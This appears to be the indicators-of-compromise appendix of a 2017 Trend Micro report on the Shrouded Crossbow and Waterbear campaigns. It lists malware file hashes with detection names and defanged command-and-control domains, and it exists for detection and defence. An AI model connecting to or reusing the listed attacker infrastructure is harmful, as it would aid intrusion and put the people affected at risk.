c1faa79a33beb8eed1583e395fb725e0758a17b51ad363976ffe7d56b990d880	BKDR64_KIVARSENC.ZTDG-A
feaa645ef890c200a3122006c627beb05ae3630b1b660de86a84ae74931a86a8	TROJ64_KIVARSLDR.ZTDG-B
cfa0b9087736219fb3b64305e3cab3f4a3a1d03666cdad3aa9ebf2978370dfa6	BKDR64_KIVARSENC.ZTDG-A
ea7608b00dc9bbafc1c7175c6c49d9e8a865ffaf68bcb491ceb5933ffa98ef63	TROJ64_KIVARSLDR.ZTDG-B
d7fe24a0a170744e4742b52ec8f575a7aa9c87d85155b4f10ba9774cd76bb07	TROJ64_KIVARSLDR.ZLDR-A
3732e2298f142e49a8f9f281a141930bfde4d4b029837ba14be3be89c742db15	TROJ64_KIVARSLDR.ZTDG-A
8bde3f71575aa0d5f5a095d9d0ea10eceaadb38be888e10d3ca3776f7b361fe7	TSPY_KEYLOGGER.TNE
64f9bedce0ee8d4cd209a60501b47ba28f1e06723600f0ee8b52777b2a8be820	TSPY_KEYLOGGER.TNE
7c270ef52265755608d6cb76d57fa1a1b215e7580edc34b503dba4aef4f56b9	TROJ_KEYLOGGER.FH
c4b3b0a7378bfc3824d4178fd7fb29475c42ab874d69abdfb4898d0bcd4f8ce1	TSPY_KEYLOG.YYMP
c5af3047fec3dd58dbb2190de3dbf0f73f7b3dcb5f10eace367a7a1ca1d1b459	TSPY_KEYLOGGER.TNE
192db304eaad9e3bf0eb8e4e0e79bbed86be454f0880ce442b6c4b24f260b757	TSPY_KEYLOG.YYMJ

SHA256	Detection Name
25717d8a97983019d3d47eca9434996b66a64ca4f472aa930640bc5ae2260d47	TSPY_KEYLOG.SMR
2976d4f7611900d90691adb4f3a3348831ee4b3aa076f2f7c2a2a4d247df6d94	ELF_BIFROSE.A
4c494696f02de23dc7bff78736272fc6dba3fa874a74dfca82bc75a6a76db8d6	ELF_BIFROSE.A
9c42e92a242212f09362d965acc7bee0131c91019417748761e13397ee605668	ELF_BIFROSE.ZTDA
0a0d7bed3c8aa0e0e87e484a37e62b0bd0e97981b0bea55f6f3607316831ba5d	ELF_BIFROSE.ZTDA
e287166e04e83ab752cd56fba3c1eff3c309c4a7ed105b4c18432d305fcba766	ELF_BIFROSE.ZTDA
ee67ed217830b0d05d318e5bb36a6ce51d12c0d248825c179282df4a18396a7f	BKDR_KIVARS.ZTDC-AA
af8482b0dc9d93d9512451a24f9c8cf0055213bf958956d2ac9a996f9d610d35c	BKDR_KIVARS.ZTDC-AA
44e4c2f93a84cc872997cfb040156b3bcf55b1f777e0a4395ee69d41ae12292c	BKDR64_KIVARSENC.ZTDC-A
046fa41987679f81760fb8f86ab4453f4638936c819a37d6a3624202dc08e295	TROJ64_KIVARSLDR.ZTDC-A
3d0a226ae62556103142c48605c5cc155d007e91fde1690f1cb11dfd5588053c	TROJ64_KIVARSLDR.ZTDC-A
9aa96838692a7c974f97672f3ae05c45a0161c6199b765f33fb27399e263502d	BKDR64_KIVARSENC.ZTDC-A
ade2754f0effb5017c1c8c50416092087bc2534daac96d7f8d4032b050f0aba0	TROJ_KIVARSDRP.ZTDA-B
a9d16b7cd410ee5232d3748d7badffc97e6d7af03751da0a523ba4c5ae6d6e93	TSPY64_KEYLOG.SM
f2f6c5fcfc81bb8d48ef8a0d9a96965df28833d446c62e9a2d13c49bc0ac6e7e	TROJ_KIVARSLDR.ZTDA-A
8ea313cbcde54826ca06b8ed26edc453c7f38e88ccdf1ccf816f7dc32928ff8b	TROJ_KIVARSLDR.ZTDA-A
90499334ff49fcf1c60ad30532f7185b80c4d7669533968f522fccde429bf5c5	TROJ_KIVARSDRP.ZTDA-A
a7351c2237f1c266202075f633548ff4e7494afb3c6818a1b1dfa45316d4d4c	BKDR_KIVARS.ZTCL-A
0746686344e51301011b3f16fc7db918c799186cbf9d7991d0ed64f0d1c91f34	TROJ_KIVARSLDR.ZTCL-A
81e3cdd0cdc36fca31973a68f7af0b34be9b71bfb62ecc2e2514ef96379dff80	BKDR64_KIVARS.ZTCK
c22bcf89cc9879af0c3f4f6106295075987b30ffdc55156841c8b98c0218238d	BKDR64_KIVARS.ZTCK
2e9cb7cadb3478edc9ef714ca4ddebb45e99d35386480e12792950f8a7a766e1	BKDR_XBOW.ZTCE-A
6c44732c7d50617e6ce0f65e4ea7605901dfbc3d185d731a70d07a1f440a2f4f	BKDR_XBOW.ZTCD
345139fe9c388bf8e7439c2adf0092879ae825d8eab859237225806faeb1af45	BKDR_XBOW.ZTCE-A
08d43d76643361a0756a9b4b16de8244824f44e36b876778af5ee0561e94eae3	TROJ64_KIVARS.ZTCE-A
1313b387f15cb6969ec4fd6621d5ab048c7896b91bce10e951d2815200e11bb9	BKDR64_KIVARS.ZTCD

C&C servers associated with Shrouded Crossbow

211[.]72[.]242[.]120
acer[.]gotdns[.]com
apt-scans[.]microsoftmse[.]com
chtd[.]microsoftmse[.]com
futnsdiike[.]xxuz[.]com
ins[.]microsoftmse[.]com
linuxhome[.]jkub[.]com
loop[.]microsoftmse[.]com

microsoftmse[.]com
mitacbbs[.]jetowns[.]net
register[.]authorizeddns[.]org
support-esxi[.]slyip[.]com
tech[.]capital-db[.]com
trustlive[.]zyns[.]com
unix108[.]jetos[.]com
vrdesign[.]microsoftmse[.]com
whoami[.]x24hr[.]com
wikimachine[.]wikaba[.]com

Hashes related to Waterbear (SHA256)

SHA256	Detection Name
6566a8c1b8b73f10205b6b1e8757cee8489e8f756e4d0ad37a314f2a31a808bb	BKDR_EYEGENT.SM
fc55d58b0f2d19f5bffe8acc5a14fb13584ebbc2b471d37bf144640b789e84ba	BKDR_EYEGENT.SM
264bd3f85e5bb5724fee51243a370b8505cf687d8c162d823054ebc65d2a8446	BKDR_EYEGENT.SM
47ac80d4e40c6fec545d4dd4b0de411e85dc539868c0a5beecb9a508d47af8dd	BKDR_WATERBEAR.SMZTDD
e9096202f9bf355926bf7eec3477c64a8b441793a404e92a62ca50a5f9fef88e	TROJ_AGENT.BDHN
00e51de5bd9f741d6679847d1d42c459c5e2cd44e5cbc4df235aa3add529182	TROJ_AGENT.FKMS
3b1e67e0e86d912d7bc6dee5b0f801260350e8ce831c93c3e9cfe5a39e766f41	BKDR_EYEGENT.SM
6a0af71ac94704606b58438a15e1d0913ccf59479874282afc02886aee969e1d	TROJ_FAKEMS.BV
9f5329196df7d1484a9cb5b36f5ef73539582e4a4e0751c4688e70582ebed368	BKDR_EYEGENT.SM
8373e62a42780b306666957ed68db32cb557e724bc819b36c8700c049ce28435	BKDR_EYEGENT.SM
2aa8d60ed1e81317bd5419a7669ad0d6ff432f76e445aa2a3183d0083fbc5bc2	BKDR_EYEGENT.SM
e85946c4794043a6cb6da650afd90455a1233cfb20b52bf1fdb1d6ffc453af1	BKDR_EYEGENT.ZZXX
940b1c2203e06ca3ff379c602dfb99addd766cff638d3b2d9ac64525131ced57	BKDR_EYEGENT.SM
574437eebd49f06995cdef874408661b260a23a679df3f908acbef374d54b913	BKDR_EYEGENT.SM
bac5e805208044da8f9988d2c92fdcbf36a9d2403ca49b83367e8a25ef4740d0	BKDR_EYEGENT.SM
8d613f5690c226f017dc32f8a9ff15a0551f593bd43b08c00fa17c07e8af19e7	BKDR_EYEGENT.SM
01d4c1975ee01b42fcbe7e7571a2e43394e31c26874f570b8670aed59fcd7f77	TROJ_FAKEMS.ZZXX
60fd08fdf8837ff076d29c8e30df10c8a74567e185406140f5883b1ef2fdb548	BKDR_EYEGENT.SM
8ffaf62582616cf11f6a319735ba029fbdd187de410d46c2d47edd7773ea54c6	BKDR_EYEGENT.ZTCF-A
a601dcc7fa2e6564851cf504a230d6a7e40a48831c6124acc26af42ef24034f9	BKDR_EYEGENT.SM
b6356bcfee09b2068190f6f51902771c7699cdd3110d9082a02c1c53818f142a	TROJ_AGENT.ZTBI-A
4fbcd0cf3f97a215f0780d7cd9bd87435d0e6e2e095c1f95412ebf477e25de0	BKDR_EYEGENT.SM
d1cbd783f3d383ee2ffb3109cbc5b4a9d58bdc6af90b6f7bd898302007a0e403	BKDR_EYEGENT.SM
28ed670dfca9f8c440e5d4029c4f5a9b1d671e2995d182150aea1db286c44bed	BKDR_EYEGENT.ZZXX

SHA256	Detection Name
75148c20718b930ecc5478ffdbff0509097b6b7994df6e46d9dd44b196728fb	TROJ_AGENT.ZTBJ
8017f2424280b3f206972fa047c50c4792a3a3fac7026d03a5041e08efe8599a	BKDR_EYEGENT.SM
8d7ffb82db38428d97f9084aaaf3d910fdce117f3300b3ba0debca90d108b4466	BKDR_EYEGENT.ZZXX
23bd423b468e0edb41677af2079b19bcfc191eed7ca0049f0e0a0ba927dd2e15	BKDR_EYEGENT.SM
33e7a0c91139e8238f879539b23cb0a53957e3a03e9928b7b4460b5a7e6e22d0	BKDR_EYEGENT.SM
d0943a23e11b9bea50894e70f3832994d64b1217b8fb4d1b351e6e001ea43e0	BKDR_EYEGENT.ZTCF-A
04186eb1e23af78dc25d5593062e51aba359fb3ed02e73664711ef24a76ec40c	BKDR_EYEGENT.ZZXX
8e4d953f4854393d04968bb4e1be741218174536c959223c4b75cfde3c54d15	BKDR_EYEGENT.SM
fc74d2434d48b316c9368d3f90fea19d76a20c09847421d1469268a32f59664c	BKDR_EYEGENT.SM
ed4f37161df7c5ddca092b88e86b0220e887bd0f30167b05e6fe7596d5b302ec	BKDR_EYEGENT.SM
cb78b85d239caec9e06e42ee6fcbb00de85972630e45d4e97076cb1053dbbf4	BKDR_EYEGENT.SM
d110654bb393137ff776807be27bed7dc6681351a8249447362868cc1c1a7f6d	BKDR_EYEGENT.SM
b1437dc824be321c751b3c568ca634c9b23f38931a764ab400b4075ec501482e	BKDR_EYEGENT.SM
b05f03de6777469a4e04e38368fdf300404a0c53b247bbdf0438c4954d3bd16	BKDR_EYEGENT.ZZXX
7924af6319456e8ccfd0c076c4f0509843f328ecfc8103c41adf217bd5bd56ff	BKDR_EYEGENT.SM
4bdd3ca3cbe076fccfce683db23b056a1a1a18e72872441c51bfb1f55aa9f1e	BKDR_EYEGENT.SM
2797927ed7237b96f1f78a6760ed0604d948c3102103d9699ebff2b5425c1738	BKDR_EYEGENT.ZZXX
7cedbb63e8a499224232277511d82594453eefbf168707a36072d9dc8e19fed6	BKDR_WATERBEAR.SMZTDC
bd06f6117a0abf1442826179f6f5e1932047b4a6c14add9149e8288ab4a902c3	BKDR_WATERBEAR.SMZTDC
83f5c915a85fa33f961b047478301bf2788f860f8ddc6577e80f5b49968500ea	BKDR_WATERBEAR.SMZTDD
5dba8ddf05cb204ef320a72a0c031e55285202570d7883f2ff65135ec35b3dd0	BKDR_WATERBEAR.SMZTDC
6a3f59fda13bbb8c4aeaf1f0601d6a5ef0ead758a0c89e6757e8e5eb10ceb6f4	BKDR_WATERBEAR.SMZTDC
6443206df3b5d9f9bfa8d19ba5d18b73fa050cf7917797d4072a70765c595910	BKDR_WATERBEAR.SMZTDD
75148c20718b930ecc5478ffdbff0509097b6b7994df6e46d9dd44b196728fb	TROJ_AGENT.ZTBJ
b6356bcfee09b2068190f6f51902771c7699cdd3110d9082a02c1c53818f142a	TROJ_AGENT.ZTBI-A
c7e00270a82c942ca7aefc112cc7704175fab6bc6e8e44cd10f91606afe6f7db	PTCH_POISON.ZTCC-A
3ac4f0ee06bf2f401a718251c94bf1909fc8c11d8a3ec83ba2877e28c077980	BKDR_POISON.ZTCC-A
6769740923cb43b0e3139a54c81ab9cb5900d6f1886bbb6bada5c2ebb410203b	BKDR_POISON.ZTCC-A
95455dc09b06a87211732676b228ceb763ffa90359b4171b32c2f68eae129c6a	PTCH64_POISON.ZTCB-B
7d281ced3549fda625ecbc1faee2d8d6206342001b9a0048b678638d4ef55dba	BKDR_POISON.ZTCB-B
5ea88cfe718f69e393921794e663f9e6d1a2c073e59c749b300ddc81412bdacb	BKDR_POISON.ZTCB-B
5a62ae01f479731efa0552b145800258eeef454823a740734b826ff3a910a11a	BKDR_POISON.TUFM
d7819710ecb20f1b57752de5ad8a1dc19ba85c0c8c1d4304fc2059d3de332a1b	BKDR_POISON.TUFM
e8f1252fecaa7caefa793110e4932c1d1bbece8d42160761247cbac48fe7648e	TROJ_AGENT.GLI
b3645409ee7374e7ae19eba9f30ddc019f8cd47cdf178b2fd32d1d1176f3678d	PTCH64_POISON.ZTCB-A
a6fb64885efd6a13f1f5b0a978fa3f20f55ce35e62395348ce25d98bed603c7	BKDR_POISON.ZTCB-A
8f907c0e90953acaa9b6f2d6fab517f05e7d475176a727ecc28cce0906cc2a17	BKDR_POISON.ZTCB-A

C&C servers associated with Waterbear

dvr[.]narllab[.]com
dy[.]skypetw[.]com
emailcrypt[.]mobwork[.]net
emailgov[.]mobwork[.]net
faq[.]narllab[.]com
flajp[.]yahoomit[.]com
forest[.]itaiwans[.]com
ftpfr[.]narllab[.]com
gmail[.]facebooktw[.]com
login[.]narllab[.]com
menu[.]skypetw[.]com
mus[.]yahoomit[.]com
norton[.]facebooktw[.]com
ntt[.]capital-db[.]com
pccus[.]narllab[.]com
pus[.]skypetw[.]com
sefsrv[.]mobwork[.]net
shopping[.]wesogo[.]com
smtp[.]skypetw[.]com
sqldb[.]cksogo[.]com
usr[.]narllab[.]com
version[.]vicycle[.]net
voip[.]narllab[.]com
w2k3-ap01[.]skypetw[.]com
web2008[.]rutentw[.]com
web2008[.]rutentw[.]com

Trend Micro Incorporated, a global leader in security software, strives to make the world safe for exchanging digital information. Our innovative solutions for consumers, businesses and governments provide layered content security to protect information on mobile devices, endpoints, gateways, servers and the cloud. All of our solutions are powered by cloud-based global threat intelligence, the Trend Micro™ Smart Protection Network™, and are supported by over 1,200 threat experts around the globe. For more information, visit www.trendmicro.com.

©2017 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company names may be trademarks or registered trademarks of their owners.



Securing Your Journey
to the Cloud

10101 N. De Anza Blvd.
Cupertino, CA 95014

U.S. toll free: 1 +800.228.5651
Phone: 1 +408.257.1500
Fax: 1 +408.257.2003